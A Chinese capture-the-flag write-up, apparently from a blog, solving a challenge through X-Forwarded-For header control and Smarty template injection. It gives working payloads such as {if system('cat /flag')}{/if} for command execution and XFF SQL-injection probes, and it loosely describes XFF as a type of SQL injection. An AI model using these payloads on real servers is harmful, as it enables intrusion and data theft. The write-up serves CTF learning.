打开题目
点击flag给了我们一个ip
点击hint,查看源代码处告诉了我们要利用这个ip
bp抓包,并添加X-Forward-For头
所以这道题是XFF
可控
本来联想到XFF漏洞引起的sql注入,但是我们无论输入什么都会正常回显,就联想到ssti注入
我们输入{{7*7}}
发现能够成功执行7*7的算式并返回计算结果为49
{config}来看看配置
我们看到smarty_internal_templatecompilerbase.php
可以看到用的是smarty,Smarty 是一个用于 PHP 的模板引擎
再看看用的版本号
{$smarty.version}
在知道smarty模版可以用php全部的函数和表达式以后,我们执行命令
{if system("ls /")}{/if} 或者直接{{system("ls /")}}
{if system("cat /flag")}{/if}或者直接 {{system("cat /flag")}}
得到flag
知识点:
- smary模版特性
Smarty 是一个用于 PHP 的模板引擎
输入{$smarty.version},就可以看到返回的Smarty当前版本号
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如*||*, or, &&, and, is_array(), 等等
如 {if phpinfo()}{/if},可以执行phpinfo()
- XXF漏洞攻击
XFF,是X-Forwarded-for的缩写,属于SQL注入的一种,该注入原理是通过修改X-Forwarded-for头对带入系统的dns进行sql注入,达到欺骗服务器执行恶意的SQL命令的效果,从而可以得到网站的数据库内容。
X-Forwarded-for: 127.0.0.1' and 1=1# 页面正常
X-Forwarded-for: 127.0.0.1' and 1=2# 页面报错
说明存在sql注入漏洞
知识点链接:
Smarty SSTI-CSDN博客
XFF漏洞攻击原理及防御方案 - 知乎